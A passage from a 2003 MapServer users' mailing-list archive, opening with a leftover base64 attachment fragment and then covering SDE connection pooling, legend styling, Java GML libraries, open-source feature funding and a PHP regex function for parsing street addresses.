AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAMAAAAEAAAABQAAAAYA AAAHAAAACAAAAAkAAAAKAAAACwAAAAwAAAANAAAADgAAAA8AAAAQAAAAEQAAABIAAAATAAAA FAAAABUAAAAWAAAAFwAAABgAAAAZAAAAGgAAABsAAAAcAAAAHQAAAB4AAAAfAAAAIAAAACEA AAAiAAAAIwAAACQAAAAlAAAAJgAAACcAAAAoAAAAKQAAACoAAAArAAAALAAAAC0AAAAuAAAA LwAAADAAAAAxAAAAMgAAADMAAAA0AAAANQAAADYAAAA3AAAAOAAAADkAAAA6AAAA/v///zwA AAA9AAAAPgAAAD8AAABAAAAAQQAAAEIAAAD+////RAAAAEUAAABGAAAARwAAAEgAAABJAAAA SgAAAP7////9/////v////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// /////1IAbwBvAHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAA4gBFAAAAAAAATxUAuAAUAAAA dwBpAG4AcAByAGkAbgAWAAUB//////////8CAAAAIAgCAAAAAADAAAAAAAAARgAAAAC4ABQA AAAAAGgAcAAgAGMA/v///wAAAAAwAAAAVwBvAHIAawBiAG8AbwBrAAAARAEAAAAACFAVALgA FAAAAAAAAABgAQAAAAAAAGABAAAAAAAAYAHPAEkBAABgARIAAgH///////////////8AAAAA AABgAQAAAAAAAAACAAAAAAAAAAIAAAAAAABgAQAAAAAAAAAAoXQAAAAAYAEFAFMAdQBtAG0A YQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAAAAAAAAAAAAYAEAAAAAAABgAQAAAAAAAGAB KAACAQEAAAADAAAA/////wAAAAAAAHABAAAAAAAAcAEAAAAAAABwAQAAAAAAAHABAAAAADsA AAAAEAAAAAAwAgUARABvAGMAdQBtAGUAbgB0AFMAdQBtAG0AYQByAHkASQBuAGYAbwByAG0A YQB0AGkAbwBuAAAAAAAAAAAAcAE4AAIB////////////////AE8VALgAFAAAAAAAAABwAQAA AAAAAHABAAAAAAAAcAEAAAAAQwAAAAAQAAAAAHAB --N05WFp22eT95988s781CLn651878CdVQ-- From Tom.Kralidis at CCRS.NRCan.gc.ca Fri Jan 3 08:19:14 2003 From: Tom.Kralidis at CCRS.NRCan.gc.ca (Tom.Kralidis at CCRS.NRCan.gc.ca) Date: Fri, 3 Jan 2003 11:19:14 -0500 Subject: [Mapserver-users] WMS Sites Message-ID: <7CDD7B94357FD5119E800002A537C46E04FA1A2C@s5-ccr-r1.ccrs.nrcan.gc.ca> > -----Original Message----- > From: Kevin Flanders [mailto:kevinflanders at rcn.com] > Sent: Friday, January 03, 2003 12:41 AM > To: mapserver-users > Subject: [Mapserver-users] WMS Sites > > > Is there a list of WMS Server Sites available? And does > anyone know if the > USGS 7.5-minute DEMS are available via a WMS Server? > You can check out: http://www.geoconnections.org/CGDI_DevNet/components/index_e.cfm http://www.ogcnetwork.org/ ..Tom > > Kevin > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From mapserver at peligroso.gaiaenv.com Fri Jan 3 08:23:06 2003 From: mapserver at peligroso.gaiaenv.com (GAIA) Date: Fri, 3 Jan 2003 09:23:06 -0700 (MST) Subject: [Mapserver-users] Fastest Data Format Message-ID: <200301031623.h03GN6TO009785@peligroso.gaiaenv.com> >ArcIMS seems to handle SDE just fine, but that should be no surprise :) >I imagine that ArcIMS uses connection pooling to avoid the overhead >associated with making SDE connections. > >I should reiterate at this point that the performance problem does not >adhere to SDE necessarily or to Mapserver necessarily, but to the amount >of time it takes to negotiate a connection with an SDE server. Once the >connection is made, everything is performant. It is making the >connection which is the issue. If you are only making one connection, >probably it is completely reasonable. > >However, the current design of Mapserver treats each layer as a distinct >entity, and each layer datasource as a distinct entity. So for each >SDE-based layer, there is a separate SDE connection to be made. Over >numerous layers, things can add up to quite a long delay. > As discussed before, you are absolutely right. How many of us create mapfiles with only one layer? None of course. A GeoSpatial store typically houses vast quantities of data and layers. Pragmatically, SDE is unusable through a MapServer interface at this time. So it does come back to performance--through connection volumes as you indicate, but nonetheless collective performance is throttled. >Jan Hartmann has made a proposal for connection pooling between layers, >I do not know if he has a preliminary implementation or if such an >implementation will be included in 3.7. > >Paul I have always been a proponent of MapServer and fended off the ESRI sales force trying to sell me ArcIMS. We still have a stonger more extensible product in MapServer thanks to all the dev. team. Let's look at filling this hole. Has there been any progress on this issue? We would be more than happy to help in any way we can. Cheers, GAIA From morissette at dmsolutions.ca Fri Jan 3 09:01:26 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 03 Jan 2003 12:01:26 -0500 Subject: [Mapserver-users] Open Source economy 101 ;) (was: Fastest Data Format) References: <200301031623.h03GN6TO009785@peligroso.gaiaenv.com> Message-ID: <3E15C1E6.88225857@dmsolutions.ca> GAIA wrote: > > I have always been a proponent of MapServer and fended off the ESRI sales force trying to sell me ArcIMS. We still have a stonger more extensible product in MapServer thanks to all the dev. team. Let's look at filling this hole. > > Has there been any progress on this issue? We would be more than happy to help in any way we can. > Just a quick comment, not directly targetted at anyone, more a general note about the Open Source economy for MapServer users who feel that some feature is important to them: If a feature is critical to you and you don't have developers in-house to implement it yourself, then keep in mind that you can hire one of the MapServer developers to implement it for you. The developers have to pay their bills like everybody else, so features for which funding is available will always get priority over the ones that nobody wants to pay for. In this specific case for instance, this SDE issue seems very important to many organisations, if it's your case and you know that you saved 10's of thousands of $$ in licenses because you use MapServer then you might be able to afford a 5-10k$ contract to Steve Lime (the developer behind SDE support in MapServer) to have him tune it to work the way you like (if you own SDE then you must have some IT budget ;). At the end you still get a better product for a lower price. Of course even if no funding is available this will eventually be fixed, but only when one of the developers finds time to do it. (BTW I think Jan Hartmann was going to work on this already, not sure what the status is now.) Once again, this is not targetted at any of the individuals who wrote in this thread. I just wanted to make everyone realize that if you have access to some $$$ then you can make them work for you (even in the Open Source world). Happy New Year to everyone BTW! Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From morissette at dmsolutions.ca Fri Jan 3 09:41:25 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 03 Jan 2003 12:41:25 -0500 Subject: [Mapserver-users] Styleitem 'Auto' and Legends References: <3E159E18.6010905@gdv.com> Message-ID: <3E15CB45.BDB746DE@dmsolutions.ca> Oliver Wesp wrote: > > I'm somwhat new to using MapInfo TABs with MapServer. So far I got > everything up and running. My TABs contain different styles so I'm using > StyleItem 'AUTO' to render these layers. Works fine except for the > legend. I like every class to appear on the legend. Is this possible? An > empty class section doesn't appear in the legend (lack of name-item). > If I add NAME to my class section one class appears in the legend and > is randomly rendered with different styles due to the displayed features > when I zoom into the map. This is a known issue when you use STYLEITEM AUTO and there is not much we can do about it. The legend icon that you get corresponds to the style of the last object that was drawn from the layer, that's why it changes when you zoom in. The nature of datasets such as TAB files is so that every object in the file can have a different color and style in theory, so there is no way MapServer can automatically derive a legend for those layers. You have a few options, you could build a canned legend and hardcode it in your HTML template. You could also use the HTML legend and set the legend icon URL in some layer metadata (the legend icon URL would point to legend icons that you built yourself for each layer). I guess we could also modify MapServer so that if you define CLASS parameters (colors, etc.) in your layer then those parameters are saved and used for the legend icons instead of the current behavior where whatever you set in the CLASS object with STYLEITEM AUTO is simply ignored and the style of the last object takes precedence. I think I'll file the last option as an enhancement in bugzilla. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From steve.lime at dnr.state.mn.us Fri Jan 3 09:45:13 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Fri, 03 Jan 2003 11:45:13 -0600 Subject: [Mapserver-users] Fastest Data Format Message-ID: Note that a plan to allow connection pooling has been sketched out and should be included in 3.7... Steve Stephen Lime Data & Applications Manager Minnesota DNR 500 Lafayette Road St. Paul, MN 55155 651-297-2937 >>> GAIA 01/02/03 05:26PM >>> Hi all, I just read my posting, which sounds somewhat curt and it wasn't meant to be. Shapefiles are nice and quick for the most part and MapServer is still the best solution for us by far. Having said that, the SDE performance is not up to par with the rest of the application. As part of our model, we promote multiple applications hitting a common data set. SDE connectivity is a must as our needs and many of our clients' needs evolve (many of our clients use SDE already), and we were excited to see its inclusion. Shapefiles have, for the most part, performed well for us, even with large data sets. Performance aside, as we and our clients manage larger data sets, the data management convenience of a RDBMS approach is more logical and cost effective. The volume of tiles can get rediculous with large data sets and multiple clients. Now, if we could only realise the performance... Cheers, GAIA _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Fri Jan 3 09:51:26 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Fri, 03 Jan 2003 11:51:26 -0600 Subject: [Mapserver-users] Off topic a bit: Java GML reader/writer... Message-ID: Hi folks: Does anyone know a java-based GML reader/writer class? I'm looking to use it to load/save features for a simple online digitizing applet (see http://maps.dnr.state.mn.us/digitize/java/appletTest.html, requires java 2 plugin) using WFS. Thanks much... Steve Stephen Lime Data & Applications Manager Minnesota DNR 500 Lafayette Road St. Paul, MN 55155 651-297-2937 From mapserver at peligroso.gaiaenv.com Fri Jan 3 10:09:52 2003 From: mapserver at peligroso.gaiaenv.com (GAIA) Date: Fri, 3 Jan 2003 11:09:52 -0700 (MST) Subject: [Mapserver-users] Open Source economy 101 ;) (was: Fastest Data Format) Message-ID: <200301031809.h03I9qv3010100@peligroso.gaiaenv.com> Hmmm...I don't necessarily agree with all your points here Daniel, but you do raise some valid ones. My comments are general as well, and are not directed at anyone, nor are they intended to be negative (i.e., I hate flaming!). There is a dichotomy faced by Open Source developers that many of us struggle with: providing resources in an open environment and earning a living! We walk that fine line and try to maintain a balance, both ethically/philosophically and financially. I believe we need to sponsor an environment that is truly open in that users are not afraid to ask, or even push for, new features. In the same token, we need to ensure developers are receiving adequate remuneration--whatever that may entail. Again, we walk the fine line in my mind. Enough philosophy for me! ;) We would be happy to offer our assistance, but that does not involve C programming (about the only language we don't use here). It could involve $ to developers if our clients inject some $ into the process or could involve other resources (e.g., test environments, dev environments, etc.). Many of us are small consulting shops in the same situation as the developers. Our shop may not spend the time and $ developing the back end of MapServer, but we sure have invested a phenomenal amount of time and $ on the front end and in linking our in-house GIS. We are stongly tied to MapServer and its purpose (we were the first Linux build of MapServer when using the app still required permission from UMN). I will try to chase some $ for the SDE feature development as I see it is very important. If we are to promote the 'fees for service' approach for atypical MapServer feature development, then perhaps there should be some resources to better expose those development individuals and firms. Here is a suggestion I would like to pose. Track new feature requests on the website (we do this for our products) and support 'voting' for the features. Have the chief developer (i.e., Steve.. apologies for branding you Steve ;) set a threshold to specify what should receive attention and get rolled into the mainstream dev., and its priority level. In my mind, this would be in the spirit of Open Source in the sense that it would meet the requests of the populous first (not just the ones with $), and in order of priority. (BTW, I am not suggesting this occurs now). Obscure, but nonetheless important features could be directed to the development gurus for hire. I don't know if this seems reasonable, but it may offer a mechanism to control development requests and ensure the dev crew is more visible in order to support them financially. If anyone needed a feature ASAP, then the dev crew could be contracted to implement the solution quickly (typically, if our clients a! re in a rush, they are more willing to spend $ to expedite the process). I still feel, as most will agree, that in the spirit of Open Source, all development, whether contracted or not ought to be rolled back into the main development pool. Any thoughts on this 'Resource Centre' for lack of better words? Again, thanks to the folks behind the scenes creating the engines many of us use daily. Cheers, GAIA From pkishor at geoanalytics.com Fri Jan 3 10:21:45 2003 From: pkishor at geoanalytics.com (pkishor_98 ) Date: Fri, 03 Jan 2003 18:21:45 -0000 Subject: [Mapserver-users] Re: OT: Db Logic for Address Query In-Reply-To: <3DFF131E4E6D2D4198CDD758F35A535302785258@postoffice.GASAI.Com> Message-ID: Chip, > I'm building an address location tool using TIGER data as a base. I have all > of the attribute data in a DB. When I execute the query, I return the > shapeID, and use this to process the address in MapServer. > > I'm trying to figure out the logic for doing an address query. In TIGER > data, addresses are broken out into: > > Right and Left Ranges (TO FROM, 4 fields) > Prefix > Name > Suffix > Type > > So the address: > > 3645 East Washington Avenue North > > would be comprised of data from 5 fields. Right now I have my front-end set > up so that the user has to enter each component separately (i.e. there's a > field for range, prefix, name, etc.). Yet, I've seen on other address > location tools the ability to enter this entire string into one field. > > How does a query like that work? How would one parse out what should be in > each field in order to execute the SQL correctly? > one word... regexps. I hate those multiple fields breaking an address into its component on the front-end... they are ugly looking. Here is what I did... I wrote a set of regular expressions that parsed out the various parts of whatever was entered in the search box. In my case there was the added complication that one could search by an address, or by tax id, or by owner name. So, I had to figure out on the back end which of the above three was the user trying to look for. Having decided that, I would parse it out into its components and do a match. There would always be a little text like so... "not finding what you are looking for? try the advanced search" which would then open up the ugly many fields entry page. You can use regexps in both Perl and PHP (and just about any other language). Below is the function I wrote in PHP to first determine whether the searchterm was a tax id or an address or an owner name, and then break it into its component parts. Hth. //{{{ determineSearchType($searchterm). Find out what we are searching for function determineSearchType($searchterm) { $dir = "n(orth)?|e(ast)?|w(est)?|s(outh)?"; $sfx = "st(r|reet)?|av(e|enue)?|dr(ive)?|la?ne?|c(our)?t|hwy|r(oa)?d|pl(ace)?|cir(cle)?|way"; $qdt = "nw|ne|sw|se"; if (preg_match("/^(\d+|$dir|\d+\s+\D|$sfx)\s*$/i", $searchterm)) { $ret = array( "searchtype" => "unknown" ); } else { if (preg_match("/(\d{2}-\d{2}-\d{3}-\d{3}(-\d{4})*)/i", $searchterm, $ar)) { $ret = array( "searchtype" => "tax_id", "tax_id" => $ar[1] ); } else if (preg_match("/^(\d+)\s+([0-9a-z]+)\s+($sfx)(\.|,|\.,)?\s+($qdt)\s*$/i", $searchterm, $ar)) { // 123 Randal St NW $ret = array( "searchtype" => "address", "number" => $ar[1], "street" => $ar[2], "suffix" => $ar[3], "quadrant" => $ar[12] ); } else if (preg_match("/^(\d+)\s+($dir)\s+([0-9a-z]+)\s+($sfx)\s*$/i", $searchterm, $ar)) { // 123 S Randal St $ret = array( "searchtype" => "address", "number" => $ar[1], "direction" => $ar[2], "street" => $ar[7], "suffix" => $ar[8] ); } else if (preg_match("/^(\d+)\s+($dir)\s+([a-z]+)\s*$/i", $searchterm, $ar)) { // 123 S Randal $ret = array( "searchtype" => "address", "number" => $ar[1], "direction" => $ar[2], "street" => $ar[7] ); } else if (preg_match("/^($dir)\s+([a-z]+)\s+($sfx)\s*$/i", $searchterm, $ar)) { // S Randal St $ret = array( "searchtype" => "address", "direction" => $ar[1], "street" => $ar[6], "suffix" => $ar[7] ); } else if (preg_match("/^(\d+)\s+([a-z]+)\s*$/i", $searchterm, $ar)) { // 123 Randal $ret = array( "searchtype" => "address", "number" => $ar[1], "street" => $ar[2] ); } else if (preg_match("/^(\d+)\s+([a-z]+)\s+($sfx)\s*$/i", $searchterm, $ar)) { // 123 Randal St $ret = array( "searchtype" => "address", "number" => $ar[1], "street" => $ar[2], "suffix" => $ar[3] ); } else if (preg_match("/^([a-z]+)\s+($sfx)\s*$/i", $searchterm, $ar)) { // Randal St $ret = array( "searchtype" => "address", "street" => $ar[1], "suffix" => $ar[2] ); } else if (preg_match("/^([a-z]+)\s+([a-z]+)\s*$/i", $searchterm, $ar)) { // Randal Schwartz $ret = array( "searchtype" => "owner", "owner_name" => "$ar[1] $ar[2]" ); } else if (preg_match("/^([a-z]+)\s*([a-z]*)$/i", $searchterm, $ar)) { // Randal $ret = array( "searchtype" => "owner", "owner_name" => $ar[1] ); } else { $ret = array( "searchtype" => "unknown" ); } } $foo = array($ret, $ar); //array_push($foo, $ret); //array_push($foo, $ar); return $foo; //return $ret; } //}}} From jhart at frw.uva.nl Fri Jan 3 10:22:53 2003 From: jhart at frw.uva.nl (Jan Hartmann) Date: Fri, 03 Jan 2003 19:22:53 +0100 Subject: [Mapserver-users] Fastest Data Format In-Reply-To: <3E14E8C9.8050609@refractions.net> References: <4ACBA1414DD9EE418CC250E4AAA9035A192B95@STL-EXBE-I03.corp.erac.com> <3E14E8C9.8050609@refractions.net> Message-ID: <3E15D4FD.1030402@frw.uva.nl> I just got connection pooling running (Happy New Year!), but I can only test it against PostGIS here. As expected, it doesn't make much difference there (17 vs 14 seconds for a map with 100 layers), but for SDE and OracleSpatial it should cut substantially more ice. I'll send the code to Steve Lime and the PostGIS and OS folks for testing and if they agree it can be put into CVS. Unless I made some terrible mistake this should not take much time: the whole thing takes about 50 lines in the main code and about 5 lines for each of the database interfaces. Moreover, there is no need to change all database interfaces at the same time: an unchanged interface will run as before. Note however that connections are pooled ONLY within a single map (i.e. a single MapServer request). Every new map (e.g. for zoom or pan) has to open a new connection (which will be used subsequently for all layers in that map). I'm not sure if this will be adequate for SDE and OS. At first sight, I have no idea how to keep open a connection between map requests. Do people know how ArcIMS/SDE and OS manage this (if they do it at all)? Jan Paul Ramsey wrote: > > ArcIMS seems to handle SDE just fine, but that should be no surprise :) > I imagine that ArcIMS uses connection pooling to avoid the overhead > associated with making SDE connections. > > I should reiterate at this point that the performance problem does not > adhere to SDE necessarily or to Mapserver necessarily, but to the amount > of time it takes to negotiate a connection with an SDE server. Once the > connection is made, everything is performant. It is making the > connection which is the issue. If you are only making one connection, > probably it is completely reasonable. > > However, the current design of Mapserver treats each layer as a distinct > entity, and each layer datasource as a distinct entity. So for each > SDE-based layer, there is a separate SDE connection to be made. Over > numerous layers, things can add up to quite a long delay. > > Jan Hartmann has made a proposal for connection pooling between layers, > I do not know if he has a preliminary implementation or if such an > implementation will be included in 3.7. > > Paul > > Martin, Daniel wrote: > >> I'm curious, does another GIS product access SDE faster than MapServer? >> >> The reason I ask is that I also experience slower performance using >> MapInfo >> data via OGR. Certainly I realize MapInfo data isn't nearly as robust as >> SDE. However, MapServer serves the same map quicker than MapInfo's >> own GUI >> application. I can't ask for much more than that. >> >> -Dan > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Fri Jan 3 10:34:33 2003 From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca) Date: Fri, 3 Jan 2003 13:34:33 -0500 Subject: [Mapserver-users] Open Source economy 101 ;) (was: Fastest D ata Format) Message-ID: <7CDD7B94357FD5119E800002A537C46E23054F@s5-ccr-r1.ccrs.nrcan.gc.ca> Heh, time for me to interject :) You both make very valid points, but they are not mutually exclusive. First, on the issue of paying or not, and who pays for what, I'd have to agree with Daniel on the fact that if a feature is so important to someone, then they can pay for it (We payed for the HTML Legend :), it's all a matter of how much that feature is worth to you. BUT, I would also say that if there are several groups looking for a specific feature, nothing is preventing them from putting their financial resources together in order to hire a third party to implement a specific feature in a hurry. If GAIA, DM, AND NRCan were interested in DB Connection pooling, all could share in the cost. Heck, even competitors could get together to pay for a feature, funny how that works huh ? :) (Oh and NO, we have no need for that feature, sorry :) Also, an expense for a feature enhancement can (should?) be concidered as an investement, since such feature might allow for new business opportunities and new clients ... I'm sure someone could make a business case around this concept. >From our stand point, having been on the paying end of things, I think of it as "the least we could do" ... As we take advantage of free software for years on end, and take advantage of the generosity of others, it seems only fair we return the favor :) As for the voting system, it's allready kind of in place. Bugzilla supports voting for bug fixes and new enhancements ... Maybe this feature could be turned on and promoted as a way (THE way?) for the community to ask for new features/enhancements or even bug fixes that are deamed important by some. And yes, it is unfortunate in some ways that MapServer isn't GPL, because I'm sure there are LOTS of enhancements to MapServer that exist out there that were never returned to the community, which is unfortunate. We often hear talk about CFX's for MapServer, or a COM implementation ... I know of at least one instance of this occuring. Not to mention this also creates duplication of effort in many cases I'm sure. My .02$ J.F. -----Original Message----- From: GAIA [mailto:mapserver at peligroso.gaiaenv.com] Sent: Friday, January 03, 2003 1:10 PM To: Mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Open Source economy 101 ;) (was: Fastest Data Format) Hmmm...I don't necessarily agree with all your points here Daniel, but you do raise some valid ones. My comments are general as well, and are not directed at anyone, nor are they intended to be negative (i.e., I hate flaming!). There is a dichotomy faced by Open Source developers that many of us struggle with: providing resources in an open environment and earning a living! We walk that fine line and try to maintain a balance, both ethically/philosophically and financially. I believe we need to sponsor an environment that is truly open in that users are not afraid to ask, or even push for, new features. In the same token, we need to ensure developers are receiving adequate remuneration--whatever that may entail. Again, we walk the fine line in my mind. Enough philosophy for me! ;) We would be happy to offer our assistance, but that does not involve C programming (about the only language we don't use here). It could involve $ to developers if our clients inject some $ into the process or could involve other resources (e.g., test environments, dev environments, etc.). Many of us are small consulting shops in the same situation as the developers. Our shop may not spend the time and $ developing the back end of MapServer, but we sure have invested a phenomenal amount of time and $ on the front end and in linking our in-house GIS. We are stongly tied to MapServer and its purpose (we were the first Linux build of MapServer when using the app still required permission from UMN). I will try to chase some $ for the SDE feature development as I see it is very important. If we are to promote the 'fees for service' approach for atypical MapServer feature development, then perhaps there should be some resources to better expose those development individuals and firms. Here is a suggestion I would like to pose. Track new feature requests on the website (we do this for our products) and support 'voting' for the features. Have the chief developer (i.e., Steve.. apologies for branding you Steve ;) set a threshold to specify what should receive attention and get rolled into the mainstream dev., and its priority level. In my mind, this would be in the spirit of Open Source in the sense that it would meet the requests of the populous first (not just the ones with $), and in order of priority. (BTW, I am not suggesting this occurs now). Obscure, but nonetheless important features could be directed to the development gurus for hire. I don't know if this seems reasonable, but it may offer a mechanism to control development requests and ensure the dev crew is more visible in order to support them financially. If anyone needed a feature ASAP, then the dev crew could be contracted to implement the solution quickly (typically, if our clients a! re in a rush, they are more willing to spend $ to expedite the process). I still feel, as most will agree, that in the spirit of Open Source, all development, whether contracted or not ought to be rolled back into the main development pool. Any thoughts on this 'Resource Centre' for lack of better words? Again, thanks to the folks behind the scenes creating the engines many of us use daily. Cheers, GAIA _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Fri Jan 3 10:44:15 2003 From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca) Date: Fri, 3 Jan 2003 13:44:15 -0500 Subject: [Mapserver-users] Off topic a bit: Java GML reader/writer... Message-ID: <7CDD7B94357FD5119E800002A537C46E230550@s5-ccr-r1.ccrs.nrcan.gc.ca> I'm going to suggest the path of most resistance, just cuz I can :) You could SWIGify GDAL, wrap it in Java, and use it's GML driver ... Or use Jython, and the python interface to GDAL ? or you could look to see if the GeoServer has this implemented in a re-usable way ... Cheers, J.F. -----Original Message----- From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Sent: Friday, January 03, 2003 12:51 PM To: Mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Off topic a bit: Java GML reader/writer... Hi folks: Does anyone know a java-based GML reader/writer class? I'm looking to use it to load/save features for a simple online digitizing applet (see http://maps.dnr.state.mn.us/digitize/java/appletTest.html, requires java 2 plugin) using WFS. Thanks much... Steve Stephen Lime Data & Applications Manager Minnesota DNR 500 Lafayette Road St. Paul, MN 55155 651-297-2937 _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From dblasby at refractions.net Fri Jan 3 11:01:13 2003 From: dblasby at refractions.net (David Blasby) Date: Fri, 03 Jan 2003 11:01:13 -0800 Subject: [Mapserver-users] Fastest Data Format References: <4ACBA1414DD9EE418CC250E4AAA9035A192B95@STL-EXBE-I03.corp.erac.com> <3E14E8C9.8050609@refractions.net> <3E15D4FD.1030402@frw.uva.nl> Message-ID: <3E15DDF9.D163B693@refractions.net> Jan Hartmann wrote: > I just got connection pooling running (Happy New Year!), but I can only > test it against PostGIS here. As expected, it doesn't make much > difference there (17 vs 14 seconds for a map with 100 layers), Great news Jan! I'm a bit surprised that it takes as much as 3 seconds to open 100 connections (but some of that time will be because system tables will be cached). But a 20% speed increase is great - I'm excited!! The only problem I think might happen is the connections not getting closed. I noticed that some mapscript applications were not closing the connection to the database but havent tracked down the problem. This could be if an error occurs in your mapscript PHP page and apache doesnt reset (leaving the process existant, but inactive in apache-space), but I'm just guessing. If you notice this type of thing happening, let me know and we can track it down. dave From morissette at dmsolutions.ca Fri Jan 3 10:58:38 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 03 Jan 2003 13:58:38 -0500 Subject: [Mapserver-users] Off topic a bit: Java GML reader/writer... References: <3E15DC6A.BEA0D218@dmsolutions.ca> Message-ID: <3E15DD5E.41C7C1A2@dmsolutions.ca> I didn't forward this to the list initially, but I guess this could be of general interest... Daniel Morissette wrote: > > Steve Lime wrote: > > > > Hi folks: Does anyone know a java-based GML reader/writer class? I'm > > looking to use it to load/save features > > for a simple online digitizing applet (see > > http://maps.dnr.state.mn.us/digitize/java/appletTest.html, requires > > java 2 plugin) using WFS. Thanks much... > > > > I'm not aware of GML Java classes, but I thought you would be interested > in this link someone sent me yesterday: http://www.alov.org/ > > ALOV is an applet that will load shapefiles or MapInfo MIF files > directly and allow you to navigate, query, classify them on the client > side. The applet is very light and config is a simple XML file. The > website also suggests that it supports access to WMS layers but I > haven't had much luck with this feature yet (I contacted the author > about this). > > Anyway, I was thinking yesterday that it would be cool if ALOV was > extended to act as a simple WFS client, and this shouldn't be very hard > given that it supports vector operations already. I don't know what > your goal is with your applet, but you might find ALOV to be a good > starting point instead of reinventing the wheel. > > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette morissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ From mapserver at peligroso.gaiaenv.com Fri Jan 3 11:06:43 2003 From: mapserver at peligroso.gaiaenv.com (GAIA) Date: Fri, 3 Jan 2003 12:06:43 -0700 (MST) Subject: [Mapserver-users] Fastest Data Format Message-ID: <200301031906.h03J6hsp010368@peligroso.gaiaenv.com> Hi Jan, Great news and thanks for your efforts. The persistent connection option may or may not be desirable. On the one hand, the persistent connection would reduce connection initiation overhead, but on the other hand, in an Internet environment we may not want a seat occupied by a web client for any longer than it takes to render a map. Strictly speaking from an SDE point of view, licenses are limited and we want to return them to the pool as fast as possible to make way for other requests. From a PostGIS perspective, things might be different. Probably, Paul is the best person to comment on this (?). Again, please let us know if we can help in any way (e.g., testing with SDE). Cheers, GAIA >I just got connection pooling running (Happy New Year!), but I can only >test it against PostGIS here. As expected, it doesn't make much >difference there (17 vs 14 seconds for a map with 100 layers), but for >SDE and OracleSpatial it 